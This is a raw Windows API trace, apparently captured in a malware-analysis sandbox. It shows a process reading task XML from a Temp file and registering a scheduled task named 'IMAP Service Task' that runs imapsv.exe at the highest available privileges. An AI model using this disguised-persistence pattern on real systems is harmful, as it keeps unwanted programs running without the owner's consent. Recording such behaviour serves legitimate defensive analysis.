[0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.757] lstrlenW (lpString="xml") returned 3
[0180.757] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.757] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|v1|") returned 4
[0180.757] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.757] lstrlenW (lpString="|v1|") returned 4
[0180.757] lstrlenW (lpString="|xml|") returned 5
[0180.757] SetLastError (dwErrCode=0x490)
[0180.757] lstrlenW (lpString="xml") returned 3
[0180.757] lstrlenW (lpString="xml") returned 3
[0180.757] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.757] lstrlenW (lpString="xml") returned 3
[0180.757] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.757] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.757] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.757] lstrlenW (lpString="|xml|") returned 5
[0180.757] lstrlenW (lpString="|xml|") returned 5
[0180.757] StrStrIW (lpFirst="|xml|", lpSrch="|xml|") returned="|xml|"
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.757] lstrlenW (lpString="-/") returned 2
[0180.757] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0
[0180.757] SetLastError (dwErrCode=0x490)
[0180.757] SetLastError (dwErrCode=0x490)
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.757] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp"
[0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.757] _memicmp (_Buf1=0x304bf0, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.757] _memicmp (_Buf1=0x304c20, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.757] SetLastError (dwErrCode=0x7a)
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] lstrlenW (lpString="C") returned 1
[0180.757] SetLastError (dwErrCode=0x490)
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.757] SetLastError (dwErrCode=0x0)
[0180.757] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
[0180.762] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
[0180.766] CoCreateInstance (in: rclsid=0xa9230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xa920fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x29ce5c | out: ppv=0x29ce5c*=0x4e3d88) returned 0x0
[0180.771] TaskScheduler:ITaskService:Connect (This=0x4e3d88, serverName=0x29cdcc*(varType=0x8, wReserved1=0x0, wReserved2=0xce40, wReserved3=0x29, varVal1=0x0, varVal2=0x29d710), user=0x29cddc*(varType=0x0, wReserved1=0x29, wReserved2=0xce64, wReserved3=0x29, varVal1=0x76679cde, varVal2=0x29d710), domain=0x29cdec*(varType=0x0, wReserved1=0x0, wReserved2=0x1f8, wReserved3=0x0, varVal1=0x2, varVal2=0x0), password=0x29cdfc*(varType=0x0, wReserved1=0x0, wReserved2=0x9c39, wReserved3=0x7667, varVal1=0x78, varVal2=0x29d890)) returned 0x0
[0180.773] TaskScheduler:IUnknown:AddRef (This=0x4e3d88) returned 0x2
[0180.773] TaskScheduler:ITaskService:GetFolder (in: This=0x4e3d88, Path=0x0, ppFolder=0x29cf00 | out: ppFolder=0x29cf00*=0x4e3df0) returned 0x0
[0180.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmpd88.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x108
[0180.773] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x29c7f0 | out: lpFileSize=0x29c7f0*=1309) returned 1
[0180.773] ReadFile (in: hFile=0x108, lpBuffer=0x29c7f8, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x29c800, lpOverlapped=0x0 | out: lpBuffer=0x29c7f8*, lpNumberOfBytesRead=0x29c800*=0x2, lpOverlapped=0x0) returned 1
[0180.774] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0180.774] ReadFile (in: hFile=0x108, lpBuffer=0x4e2690, nNumberOfBytesToRead=0x51e, lpNumberOfBytesRead=0x29c800, lpOverlapped=0x0 | out: lpBuffer=0x4e2690*, lpNumberOfBytesRead=0x29c800*=0x51d, lpOverlapped=0x0) returned 1
[0180.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4e2690, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1310
[0180.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4e2690, cbMultiByte=-1, lpWideCharStr=0x3153d4, cchWideChar=1310 | out: lpWideCharStr="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 1310
[0180.774] SysStringLen (param_1="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 0x51d
[0180.774] VarBstrCat (in: bstrLeft=0x0, bstrRight="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n", pbstrResult=0x29c7a0 | out: pbstrResult=0x29c7a0) returned 0x0
[0180.774] CloseHandle (hObject=0x108) returned 1
[0180.774] lstrlenW (lpString="") returned 0
[0180.774] SysStringLen (param_1="") returned 0x0
[0180.774] lstrlenW (lpString="") returned 0
[0180.774] ITaskFolder:RegisterTask (in: This=0x4e3df0, Path="IMAP Service Task", XmlText="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Program Files (x86)\\IMAP Service\\imapsv.exe\"\r\n $(Arg0)\r\n \r\n \r\n", flags=6, UserId=0x29c7dc*(varType=0x8, wReserved1=0x0, wReserved2=0x4110, wReserved3=0x31, varVal1="", varVal2=0x314110), password=0x29c7ec*(varType=0x0, wReserved1=0x31, wReserved2=0x0, wReserved3=0x0, varVal1=0x29c874, varVal2=0x775e7526), LogonType=0, sddl=0x29c800*(varType=0x0, wReserved1=0x31, wReserved2=0x4110, wReserved3=0x31, varVal1=0x0, varVal2=0x0), ppTask=0x29c860 | out: ppTask=0x29c860*=0x4e3e60) returned 0x0
[0182.417] _memicmp (_Buf1=0x304b90, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0182.417] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3065f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40
[0182.417] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64
[0182.417] _vsnwprintf (in: _Buffer=0x29c86c, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x29c810 | out: _Buffer="SUCCESS: The scheduled task \"IMAP Service Task\" has successfully been created.\n") returned 79
[0182.417] _fileno (_File=0x76712920) returned 1
[0182.417] _errno () returned 0x4e07d8
[0182.417] _get_osfhandle (_FileHandle=1) returned 0x7
[0182.417] _errno () returned 0x4e07d8
[0182.417] GetFileType (hFile=0x7) returned 0x2
[0182.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0182.417] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x29c7d4 | out: lpMode=0x29c7d4) returned 1
[0182.418] __iob_func () returned 0x76712900
[0182.418] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0182.418] lstrlenW (lpString="SUCCESS: The scheduled task \"IMAP Service Task\" has successfully been created.\n") returned 79
[0182.418] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x29c86c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x29c7fc, lpReserved=0x0 | out: lpBuffer=0x29c86c*, lpNumberOfCharsWritten=0x29c7fc*=0x4f) returned 1
[0182.418] IUnknown:Release (This=0x4e3e60) returned 0x0
[0182.418] IUnknown:Release (This=0x4e3df0) returned 0x0
[0182.418] TaskScheduler:IUnknown:Release (This=0x4e3d88) returned 0x1
[0182.418] lstrlenW (lpString="") returned 0
[0182.418] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0182.418] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60
[0182.422] exit (_Code=0)
Thread:
id = 27
os_tid = 0xb90